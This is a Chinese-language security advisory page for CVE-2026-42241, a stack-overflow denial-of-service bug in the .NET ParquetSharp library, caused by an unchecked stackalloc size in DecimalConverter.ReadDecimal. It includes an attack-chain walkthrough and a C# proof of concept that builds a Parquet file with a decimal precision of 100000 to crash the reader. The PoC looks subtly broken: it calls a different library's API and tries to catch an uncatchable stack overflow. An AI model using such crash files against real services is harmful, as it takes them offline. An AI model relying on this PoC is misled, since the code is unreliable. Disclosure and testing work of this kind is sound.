IPBUF安全漏洞报告
English
CVE-2026-42241 CVSS 5.3 中危

CVE-2026-42241 ParquetSharp栈溢出漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-42241
漏洞类型
栈溢出
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ParquetSharp

相关标签

栈溢出DoSParquetSharp.NETCVE-2026-42241

漏洞概述

ParquetSharp是一个用于读写Apache Parquet文件的.NET库。在18.1.0至23.0.0.1之前的版本中,`DecimalConverter.ReadDecimal`方法存在安全漏洞。该方法使用`stackalloc`时,可能直接使用了攻击者提供的值作为大小参数。如果攻击者声明了一个具有不合理宽度的十进制列,将导致栈溢出。在服务环境中,这可能导致服务崩溃(拒绝服务)。该问题影响了在服务中使用ParquetSharp读取不受信任Parquet文件的应用程序。

技术细节

该漏洞的根本原因在于ParquetSharp库在处理十进制类型数据时,未对输入数据的宽度进行严格校验。具体而言,`DecimalConverter.ReadDecimal`方法使用了`stackalloc`指令在栈上分配内存。`stackalloc`的大小参数源自Parquet文件元数据中的类型定义。由于Parquet文件可能来自不可信的来源,攻击者可以精心构造一个恶意的Parquet文件,其中包含极大宽度的Decimal类型列。当应用程序尝试读取该文件时,`stackalloc`会尝试在栈上分配过大的内存空间,超出栈的容量限制,从而触发栈溢出异常。在.NET环境中,这通常会导致进程崩溃,造成拒绝服务。虽然CVSS评分显示机密性和完整性无影响,但在高并发的网络服务场景下,这种崩溃会严重影响服务可用性。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务正在使用受影响版本的ParquetSharp库处理用户上传的Parquet文件。
STEP 2
武器化
攻击者构造一个特制的Parquet文件,其中包含一个具有极大宽度(Precision)的Decimal类型字段。
STEP 3
交付
攻击者通过文件上传功能或网络接口将该恶意Parquet文件发送给目标服务。
STEP 4
利用
目标服务尝试读取该文件,`DecimalConverter.ReadDecimal`方法调用`stackalloc`并传入攻击者指定的大数值。
STEP 5
影响
由于栈空间不足以满足分配请求,触发栈溢出,导致目标服务进程崩溃,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
using Parquet; using Parquet.Data; using System; using System.IO; public class PoC { public static void Main() { // Generate a malicious Parquet file with extremely large decimal precision // This triggers the stackalloc issue in DecimalConverter.ReadDecimal string filePath = "malicious.parquet"; // Create a schema with a huge precision (e.g., 100000) // Note: Actual Parquet spec might limit this, but the vulnerability lies in how ParquetSharp handles it. var schema = new Schema(new DataField<decimal>("malicious_decimal", 100000, 0)); using (var fileStream = new FileStream(filePath, FileMode.Create)) using (var parquetWriter = new ParquetWriter(schema, fileStream)) using (var parquetRowGroupWriter = parquetWriter.CreateRowGroup()) { // Write dummy data parquetRowGroupWriter.WriteColumn(new decimal[] { 123.45m }); } Console.WriteLine($"Malicious file created at: {filePath}"); // Trigger the vulnerability by reading the file try { using (var stream = new FileStream(filePath, FileMode.Open)) using (var reader = new ParquetReader(stream)) { // This call triggers the stack overflow var data = reader.ReadEntireRowGroup(); Console.WriteLine("Read successful (should not happen)"); } } catch (Exception ex) { Console.WriteLine($"Exception caught: {ex.Message}"); } } }

影响范围

ParquetSharp >= 18.1.0, < 23.0.0.1

防御指南

临时缓解措施
如果无法立即升级,建议在处理外部Parquet文件之前,使用沙箱或隔离环境进行预处理,过滤掉包含异常元数据(如过大精度)的文件,避免直接在生产环境中处理不可信文件。

参考链接